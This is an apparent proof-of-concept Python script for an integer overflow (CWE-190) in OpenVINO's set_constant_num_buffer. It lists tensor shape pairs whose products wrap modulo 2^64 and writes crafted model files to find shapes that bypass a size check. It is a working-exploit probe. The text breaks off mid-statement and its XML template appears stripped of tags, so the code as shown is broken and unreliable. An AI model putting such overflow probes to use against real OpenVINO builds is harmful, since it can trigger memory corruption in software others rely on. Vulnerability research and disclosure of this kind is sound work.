#!/usr/bin/env python3
"""
OpenVINO CWE-190 — Systematic overflow shape patterns for set_constant_num_buffer.
Tests multiple (dim0, dim1) pairs where dim0 * dim1 overflows to a value <= size.
Run this to identify which shapes successfully bypass the check on the target build.
Usage:
pip install openvino
python poc_overflow_patterns.py
"""
import os
import struct
import tempfile
OVERFLOW_SHAPES = [
(4611686018427387904, 4, "2^62 × 4 = 0 mod 2^64"),
(9223372036854775807, 2, "INT64_MAX × 2 wraps"),
(2305843009213693952, 8, "2^61 × 8 = 0 mod 2^64"),
(1152921504606846976, 16, "2^60 × 16 = 0 mod 2^64"),
(576460752303423488, 32, "2^59 × 32 = 0 mod 2^64"),
]
TEMPLATE = """
{d0}{d1}
"""
def test_shape(d0, d1, comment):
try:
import openvino as ov
with tempfile.TemporaryDirectory() as td:
xp = os.path.join(td, "m.xml")
bp = os.path.join(td, "m.bin")
open(xp, "w").write(TEMPLATE.format(d0=d0, d1=d1))
open(bp, "wb").write(struct.pack("